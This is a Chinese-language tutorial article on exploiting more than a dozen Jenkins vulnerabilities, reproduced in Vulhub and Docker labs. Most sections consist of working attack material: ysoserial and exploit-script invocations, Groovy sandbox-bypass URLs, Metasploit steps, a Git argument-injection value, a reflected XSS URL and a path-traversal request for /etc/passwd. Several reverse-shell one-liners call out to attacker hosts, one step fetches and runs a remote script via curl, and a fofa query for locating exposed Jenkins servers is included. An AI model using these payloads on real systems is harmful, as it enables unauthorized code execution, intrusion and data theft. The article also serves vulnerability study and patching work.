您好,登錄后才能下訂單哦!
這篇文章主要介紹了Jenkins漏洞的示例分析,具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
Jenkins 是基于 Java 開(kāi)發(fā)的開(kāi)源軟件項(xiàng)目,主要用于 CI (持續(xù)集成)、項(xiàng)目管理等。
Jenkins功能包括:
持續(xù)的軟件版本發(fā)布/測(cè)試項(xiàng)目。
監(jiān)控外部調(diào)用執(zhí)行的工作。
fofa: app="Jenkins"
Jenkins
未授權(quán)遠(yuǎn)程代碼執(zhí)行漏洞, 允許攻擊者將序列化的Java SignedObject
對(duì)象傳輸給Jenkins CLI
處理,反序列化ObjectInputStream
作為Command
對(duì)象,這將繞過(guò)基于黑名單的保護(hù)機(jī)制, 導(dǎo)致代碼執(zhí)行。
所有Jenkins主版本均受到影響(包括<=2.56版本)
所有Jenkins LTS均受到影響(包括<=2.46.1版本)
使用Vulhub
一鍵搭建漏洞測(cè)試靶場(chǎng)。
訪問(wèn)服務(wù)器ip地址加端口,如http://ip:8080/
打開(kāi)瀏覽器發(fā)現(xiàn)環(huán)境啟動(dòng)成功如下:
漏洞復(fù)現(xiàn)
步驟一、生成序列化字符串
首先下載CVE-2017-1000353-1.1-SNAPSHOT-all.jar
,這是生成POC的工具。
下載地址:https://github.com/vulhub/CVE-2017-1000353
然后執(zhí)行下面命令,生成字節(jié)碼文件:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
執(zhí)行上述代碼后,生成jenkins_poc.ser
文件,這就是序列化字符串。
步驟二、發(fā)送數(shù)據(jù)包,執(zhí)行命令
exp地址:https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py
下載exploit.py
,然后使用python3執(zhí)行python exploit.py http://your-ip:8080 jenkins_poc.ser
,將剛才生成的字節(jié)碼文件發(fā)送給目標(biāo):
進(jìn)入docker,發(fā)現(xiàn)/tmp/success
成功被創(chuàng)建,說(shuō)明命令執(zhí)行漏洞利用成功:
也可以反彈bash
命令:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "/bin/bash -i > /dev/tcp/vps_ip/12345 0<&1 2>&1 "
Jenkins使用Stapler框架
開(kāi)發(fā),其允許用戶(hù)通過(guò)URL PATH
來(lái)調(diào)用一次public方法。由于這個(gè)過(guò)程沒(méi)有做限制,攻擊者可以構(gòu)造一些特殊的PATH來(lái)執(zhí)行一些敏感的Java方法。
Jenkins Version <= 2.56
Jenkins LTS Version <= 2.46.1
使用Vulhub
一鍵搭建漏洞測(cè)試靶場(chǎng)。
因?yàn)榇寺┒词菦](méi)有回顯的,所以選擇了curl
和直接反彈shell
進(jìn)行測(cè)試。
一、自定義發(fā)送請(qǐng)求,測(cè)試漏洞是否存在:
http://目標(biāo)ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}
頁(yè)面返回空白,響應(yīng)如下:
二、利用下載文件的方法來(lái)反彈shell
1、首先創(chuàng)建文本內(nèi)容如下,ip和端口填寫(xiě)我們接收shell的機(jī)器的ip和端口
bash -i >& /dev/tcp/x.x.x.x/9999 0>&1
2、將文本放置在開(kāi)啟http服務(wù)的vps上,替換POC中執(zhí)行命令的部分為下載文件的命令
curl -o /tmp/1.sh http://x.x.x.x/1.txt
3、替換后的POC:
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://x.x.x.x/1.txt%22.execute()}}
4、給予下載的腳本執(zhí)行權(quán)限:
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}
5、依次在瀏覽器打開(kāi)上述步驟3和4的poc,然后在我們接收shell的機(jī)器上監(jiān)聽(tīng)之前寫(xiě)的端口:
nc -lvvp 9999
6、直接bash執(zhí)行我們下載的腳本
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}
7、發(fā)現(xiàn)已經(jīng)成功獲取到了目標(biāo)機(jī)shell
三、也可以使用一鍵化POC腳本利用工具:
下載地址: https://github.com/orangetw/awesome-jenkins-rce-2019
該漏洞存在于Declarative Plugin 1.3.4.1
之前的版本, Groovy Plugin 2.61.1
之前的版本以及Script Security Plugin 1.50
之前的版本。該漏洞通過(guò)將AST轉(zhuǎn)換注釋?zhuān)ㄈ鏎Grab)應(yīng)用于源代碼元素,可以在腳本編譯階段避免腳本安全沙箱保護(hù)。所以會(huì)造成具有“Overall/Read”
權(quán)限的用戶(hù)或能夠控制SCM中的Jenkinsfile
或者sandboxed Pipeline
共享庫(kù)內(nèi)容的用戶(hù)可以繞過(guò)沙盒保護(hù)并在Jenkins主服務(wù)器上執(zhí)行任意代碼。
Declarative Plugin < 1.3.4.1
Groovy Plugin < 2.61.1
Script Security Plugin < 1.50
下載環(huán)境和利用代碼:
git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git cd cve-2019-1003000-jenkins-rce-poc pipinstall -r requirements.txt cd sample-vuln ./run.sh
測(cè)試發(fā)現(xiàn)無(wú)法啟動(dòng)成功,因?yàn)楸镜氐?code>jenkinsdata文件夾是root權(quán)限,而jenkins的權(quán)限很小,uid等信息都是1000,所以修改jenkinsdata
的權(quán)限并刪除之前的容器再次運(yùn)行腳本,即可啟動(dòng)環(huán)境。
sudo chown -R 1000:1000 jenkinsdata/
然后進(jìn)入到docker容器中,并沒(méi)有發(fā)現(xiàn)初始化密碼的文件secrets/initialAdminPassword
的存在:
使用user1/user1
進(jìn)行登錄,并發(fā)現(xiàn)已有的job任務(wù)my-pipeline
已經(jīng)被創(chuàng)建好
使用poc進(jìn)行漏洞攻擊
python2 exploit.py --url http://目標(biāo)ip:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"
反彈shell:
python2 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/X.X.X.X/12345 0>&1"
?
1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI
子系統(tǒng),允許遠(yuǎn)程攻擊者通過(guò)制作的序列化Java對(duì)象執(zhí)行有問(wèn)題的commons-collections
。
Jenkins jenkins<= LTS 1.625.1
Jenkins jenkins<= 1.637
靶場(chǎng)環(huán)境: https://github.com/Medicean/VulApps/tree/master/j/jenkins/1
1
、拉取鏡像到本地并啟動(dòng)
$ docker pull medicean/vulapps:j_jenkins_1 $ docker run -d -p 8080:8080 -p 50000:50000 medicean/vulapps:j_jenkins_1
其中8080為Jenkins web
管理端口,50000為Jenkins SLAVE AGENT
端口
訪問(wèn) http://IP地址:8080/
,看到Jenkins Web
管理界面即代表啟動(dòng)成功
2、POC利用
$ python2 poc.py http://127.0.0.1:8080/
如果看到如下結(jié)果則表示存在該漏洞:
由于該命令執(zhí)行無(wú)回顯,使用的是DNSLog
的方式來(lái)將無(wú)回顯的命令執(zhí)行轉(zhuǎn)為有回顯,可能會(huì)因?yàn)榫W(wǎng)絡(luò)訪問(wèn)問(wèn)題造成誤漏報(bào)。
LTS(Long-TermSupport)
是CloudBeesJenkins
的一個(gè)長(zhǎng)期支持版本。CloudBeesJenkinsCI1.650
之前版本和LTS1.642.2
之前版本的remoting模塊
中存在安全漏洞。遠(yuǎn)程攻擊者可通過(guò)打開(kāi)JRMP監(jiān)聽(tīng)程序利用該漏洞執(zhí)行任意代碼。
Jenkins CI Jenkins 1.409.3
Jenkins CI Jenkins 1.454
Jenkins CI Jenkins 1.452
Jenkins CI Jenkins 1.451
Jenkins CI Jenkins 1.447
Jenkins CI Jenkins 1.446
首先下載ysoserial
編譯后生成二進(jìn)制文件
下載地址:https://github.com/frohoff/ysoserial
java -jar ysoserial.jar CommonsCollections3 "curl http://uxplno.ceye.io/ttaallee" > payload.bin
然后利用腳本發(fā)送二進(jìn)制文件(實(shí)際上是十六進(jìn)制的(<JENKINS REMOTING CAPACITY]>)
與其后base64的編碼構(gòu)成):
poc腳本 https://github.com/foxglovesec/JavaUnserializeExploits
運(yùn)行poc腳本:
python2 jenkins.py x.x.x.x 8080 payload.bin
可以看到運(yùn)行POC后,ceye后臺(tái)已經(jīng)有了目標(biāo)主機(jī)的訪問(wèn)記錄。證明該命令已經(jīng)在遠(yuǎn)程主機(jī)被執(zhí)行了。
國(guó)外網(wǎng)站Contrast Security
于2016年2月24日在公開(kāi)了Jenkins近日修復(fù)的一個(gè)可通過(guò)低權(quán)限用戶(hù)調(diào)用API服務(wù)致使的命令執(zhí)行漏洞詳情。通過(guò)低權(quán)限用戶(hù)構(gòu)造一個(gè)惡意的XML文檔發(fā)送至服務(wù)端接口,使服務(wù)端解析時(shí)調(diào)用API執(zhí)行外部命令。
jenkins版本小于1.650(1.650版本已修復(fù)該問(wèn)題)
漏洞利用腳本:
https://github.com/jpiechowka/jenkins-cve-2016-0792
漏洞利用驗(yàn)證成功如下:
也可以使用如下payload
反彈目標(biāo)機(jī)shell
exploit('http://192.168.56.101/jenkins/', '/usr/bin/nc -l -p 9999 -e /bin/sh')
Jenkins腳本安全插件1.50及更早版本的src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/SecureGroovyScript.java
中存在一個(gè)沙盒繞過(guò)漏洞,它允許具有“整體/讀取”權(quán)限的攻擊者為其提供Groovy
腳本HTTP端點(diǎn),可導(dǎo)致Jenkins主JVM上的任意代碼執(zhí)行。
Jenkins 2.53
Jenkins 2.122
Jenkins 2.137
Jenkins 2.138 啟用匿名讀取
Jenkins 2.152 啟用匿名讀取
Jenkins 2.153 啟用匿名讀取
Script Security Plugin 1.43
Script Security Plugin 1.48
使用一鍵化POC腳本利用工具:
下載地址: https://github.com/orangetw/awesome-jenkins-rce-2019 python2 exp.py http://x.x.x.x:8080/ "curl http://uxplno.ceye.io/`whoami`"
Git客戶(hù)端插件接受用戶(hù)指定的值作為git ls-remote
調(diào)用的參數(shù),以驗(yàn)證指定URL處是否存在Git存儲(chǔ)庫(kù)。這種方式允許具有Job/Configure
權(quán)限的攻擊者,以運(yùn)行Jenkins進(jìn)程的OS用戶(hù)的權(quán)限在Jenkins主服務(wù)器上執(zhí)行任意系統(tǒng)命令。當(dāng)以root權(quán)限運(yùn)行Jenkins時(shí),攻擊者將會(huì)通過(guò)攻擊得到root權(quán)限。
Git client Plugin <= 2.8.4
使用docker搭建測(cè)試環(huán)境
docker search jenkins docker pull jenkins/jenkins # 映射8080端口 docker run -d -p 8080:8080 -p 50000:50000 jenkins/jenkins # 訪問(wèn)IP:8080后需要輸入密碼 進(jìn)入容器獲取密碼 docker exec -it 2192a3dc98c0 /bin/bash jenkins@2192a3dc98c0:/$ cat /var/jenkins_home/secrets/initialAdminPassword
創(chuàng)建一個(gè)非管理員用戶(hù)并在Configure Global Security
里給予如圖權(quán)限
下載漏洞版本插件
http://updates.jenkins-ci.org/download/plugins/git-client/2.8.2/git-client.hpi http://updates.jenkins-ci.org/download/plugins/git/3.12.0/git.hpi
登錄創(chuàng)建的非管理用戶(hù) 創(chuàng)建一個(gè)流水線任務(wù),在連接git倉(cāng)庫(kù)處輸入payload
--upload-pack="`ls`"
實(shí)際上是一個(gè)比較雞肋的洞,服務(wù)器上必須要低版本插件,并且配合弱口令或者未授權(quán)才能進(jìn)入后臺(tái)利用。
而且后臺(tái)有個(gè)地方能直接執(zhí)行命令,在http://ip:port/script
下面有腳本命令行,屬于Jenkins正常功能,利用這個(gè)功能可以執(zhí)行系統(tǒng)命令,配合未授權(quán)更方便。
2.32之前的Jenkins和2.19.3之前的LTS中的遠(yuǎn)程處理模塊允許遠(yuǎn)程攻擊者通過(guò)精心制作的序列化Java對(duì)象執(zhí)行任意代碼,從而觸發(fā)對(duì)第三方服務(wù)器的LDAP查詢(xún)。
LTSRelease 2.19.3 之前的所有版本
WeeklyRelease 2.32 之前的所有版本
msf利用模塊
https://github.com/rapid7/metasploit-framework/pull/7815
漏洞復(fù)現(xiàn)
下載 jenkins 2.31(https://updates.jenkins-ci.org/download/war/2.31/jenkins.war)
安裝 jenkins java -jar jenkins.war
啟動(dòng) msfconsole
使用 exploit/linux/misc/jenkins_ldap_deserialize
設(shè)置 RHOST 127.0.0.1
設(shè)置PAYLOAD cmd/unix/generic
設(shè)置 CMD 'touch/tmp/wtf'
運(yùn)行
msf > use exploit/linux/misc/jenkins_ldap_deserialize msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic PAYLOAD => cmd/unix/generic msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf' CMD => touch /tmp/wtf msf exploit(jenkins_ldap_deserialize) > run [*] Exploit completed, but no session was created.
利用成功后將會(huì)在tmp文件夾下創(chuàng)建wtf文件
Jenkins管理登陸之后,后臺(tái)”系統(tǒng)管理”功能,有個(gè)”腳本命令行的”功能,它的作用是執(zhí)行用于管理或故障探測(cè)或診斷的任意腳本命令,利用該功能,可以執(zhí)行系統(tǒng)命令,該功能實(shí)際上Jenkins正常的功能,由于很多管理賬號(hào)使用了弱口令,或者管理后臺(tái)存在未授權(quán)訪問(wèn),導(dǎo)致該功能會(huì)對(duì)Jenkins系統(tǒng)服務(wù)器產(chǎn)生比較嚴(yán)重的影響和危害。
屬于Jenkins正常的功能
找到“系統(tǒng)管理”——“腳本命令行”。
在腳本命令行中輸入下面的語(yǔ)句,即可執(zhí)行相應(yīng)的命令:
println "whoami".execute().text
build-metrics
該插件會(huì)生成一些基本的構(gòu)建指標(biāo),它通常與Jenkins側(cè)邊欄鏈接插件一起使用。該插件提供了該報(bào)告機(jī)制,所有的用戶(hù)都可以轉(zhuǎn)到Jenkins主儀表板并根據(jù)需要提取報(bào)告。 漏洞存在build-metrics
插件中, 但是只是一個(gè)簡(jiǎn)單的反射型XSS漏洞,該插件無(wú)法正確轉(zhuǎn)義標(biāo)簽查詢(xún)參數(shù)。
360 FireLine插件,最高包括1.7.2
Bitbucket OAuth插件,最高包括0.9
Build-metrics插件 1.3及以下
部署WebLogic Plugin 最高至4.1
Dynatrace應(yīng)用程序監(jiān)視插件,最高包括2.1.3
Dynatrace應(yīng)用程序監(jiān)視插件,最高包括2.1.4
ElasticBox Jenkins Kubernetes CI / CD插件,最高至1.3
包含1.1.4及以下版本的 全局Post Script插件
Libvirt Slaves插件,最高包括1.8.5
截至 2.7.0的 Mattermost Notification插件
Sonar Gerrit插件,最高包括2.3
Zulip插件(包括1.1.0及以下)
該vulnearble
插件位于http://localhost:8080/plugin/build-metrics/
,漏洞參數(shù)為label
。
payload如下:
http://192.168.1.75:8080/plugin/build-metrics/getBuildStats?label=<script>alert("CVE-2019-10475")</script>&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search
Git Plugin
是使用在其中的一個(gè)版本控制插件。CloudBees Jenkins Git Plugin 3.7.0
及之前版本中的GitStatus.java
文件存在安全漏洞。攻擊者可利用該漏洞獲取節(jié)點(diǎn)和用戶(hù)列表。
CloudBees Jenkins Git Plugin 3.7.0及之前版本
模糊搜索
http://x.x.x.x:8080/search/?q=a http://x.x.x.x:8080/search/suggest?query=a
如果git插件小于3.7,也可以使用如下
http://x.x.x.x:8080/git/search/?q=a http://x.x.x.x:8080/git/search/suggest?query=a
CloudBees Jenkins(Hudson Labs)是美國(guó)CloudBees公司的一套基于Java開(kāi)發(fā)的持續(xù)集成工具。該產(chǎn)品主要用于監(jiān)控持續(xù)的軟件版本發(fā)布/測(cè)試項(xiàng)目和一些定時(shí)執(zhí)行的任務(wù)。LTS是CloudBeesJenkins的一個(gè)長(zhǎng)期支持版本。CloudBees Jenkins 2.185
及之前版本、LTS 2.176.1
及之前版本中的core/src/main/java/hudson/model/FileParameterValue.java
文件存在路徑遍歷漏洞。該漏洞源于網(wǎng)絡(luò)系統(tǒng)或產(chǎn)品未能正確地過(guò)濾資源或文件路徑中的特殊元素。攻擊者可利用該漏洞訪問(wèn)受限目錄之外的位置。
Jenkins-Ci Jenkins LTS 2.176.2 Jenkins Jenkins 2.186
首先選擇”構(gòu)建一個(gè)自由風(fēng)格的軟件項(xiàng)目“并將其命名為test,然后使用受限制的用戶(hù),在配置中選擇文件參數(shù)
選擇Build with Parameters
然后構(gòu)建選擇上傳圖片文件。
選擇開(kāi)始構(gòu)建就可以將文件寫(xiě)入運(yùn)行有寫(xiě)入權(quán)限的Jenkins的用戶(hù)的文件系統(tǒng)上的任何位置。
GitLab Plugin
是使用在其中的一個(gè)構(gòu)建觸發(fā)器,它允許GitLab在推送代碼或創(chuàng)建合并請(qǐng)求時(shí)觸發(fā)Jenkins構(gòu)建。 CloudBees Jenkins GitLab Plugin 1.5.11
及之前版本中的GitLabConnectionConfig#doTestConnection
表單驗(yàn)證方法存在跨站請(qǐng)求偽造漏洞,該漏洞源于WEB應(yīng)用未充分驗(yàn)證請(qǐng)求是否來(lái)自可信用戶(hù)。攻擊者可利用該漏洞通過(guò)受影響客戶(hù)端向服務(wù)器發(fā)送非預(yù)期的請(qǐng)求。
Jenkins GitLab插件1.5.11
Jenkins 2.165
實(shí)例的攻擊示例。
需要下載插件:
https://mirrors.tuna.tsinghua.edu.cn/jenkins/plugins/gitlab-plugin/1.5.11/gitlab-plugin.hpi
該實(shí)例運(yùn)行此插件的漏洞版本并配置為允許匿名讀取訪問(wèn)。
$ curl -s -X GET -G \ -d 'url=http://127.0.0.1:7000/?' \ -d 'clientBuilderId=autodetect' \ -d 'apiTokenId=532ba431-e25d-4aad-bc74-fb5b2cc03bd7' \ 'http://127.0.0.1:8080/jenkins/descriptorByName/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig/testConnection'
插件以HTTP GET形式向遠(yuǎn)程服務(wù)器提交的請(qǐng)求將類(lèi)似于以下內(nèi)容:
# First request from Jenkins (GET). /api/v4/user Accept: application/json PRIVATE-TOKEN: ASecretTextEntry Host: 127.0.0.1:7000 Connection: Keep-Alive # Second request from Jenkins (GET) /api/v3/user Accept: application/json PRIVATE-TOKEN: ASecretTextEntry Host: 127.0.0.1:7000 Connection: Keep-Alive
在Jenkins的Stapler Web
框架中存在任意文件讀取漏洞。惡意攻擊者可以通過(guò)發(fā)送精心構(gòu)造的HTTP請(qǐng)求在未經(jīng)授權(quán)的情況下獲取Jenkin主進(jìn)程可以訪問(wèn)的Jenkins文件系統(tǒng)中的任意文件內(nèi)容。
Jenkins weekly 2.132及此前所有版本
Jenkins LTS 2.121.1及此前所有版本
可讀取Windows系統(tǒng)服務(wù)器中的任意文件,且在特定而條件下也可以讀取Linux系統(tǒng)服務(wù)器中的文件。
請(qǐng)求的url為/plugin/credentials/.ini
,則base為空,擴(kuò)展名(ext變量)即為.ini,然后通過(guò)一系列的嘗試openURL,在此例中即最后一個(gè)情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));
,會(huì)去請(qǐng)求_../../../../../../../../../../../../windows/win.ini
,盡管目錄_..
并不存在,但在win下可以直接通過(guò)路徑穿越來(lái)繞過(guò)。
在沒(méi)有登陸(未授權(quán))的情況下,只有當(dāng)管理員開(kāi)啟了allow anonymous read access
的時(shí)候,才能實(shí)現(xiàn)任意文件讀取,否則仍需登陸
Windows下payload:
GET /plugin/credentials/.ini HTTP/1.1 Host: x.x.x.x:8080 Accept: text/javascript, text/html, application/xml, text/xml, */* X-Prototype-Version: 1.7 DNT: 1 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36 Origin: http://x.x.x.x:8080 Referer: http://x.x.x.x:8080/ Accept-Encoding: gzip, deflate Accept-Language: /../../../../../../../../etc/passwd Cookie: JSESSIONID.450017e3=x6kdpnkcgllh28wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971 Connection: close
也可以利用該漏洞poc檢測(cè)工具,進(jìn)行檢測(cè)以及對(duì)賬戶(hù)密碼進(jìn)行解密:
https://github.com/anntsmart/CVE/blob/master/cve-2018-1999002.py
此漏洞和CVE-2019-1003005
漏洞同樣都是由Script Security
插件引起。利用方式和上一致。影響版本在1.55以下。
感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“Jenkins漏洞的示例分析”這篇文章對(duì)大家有幫助,同時(shí)也希望大家多多支持億速云,關(guān)注億速云行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來(lái)學(xué)習(xí)!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。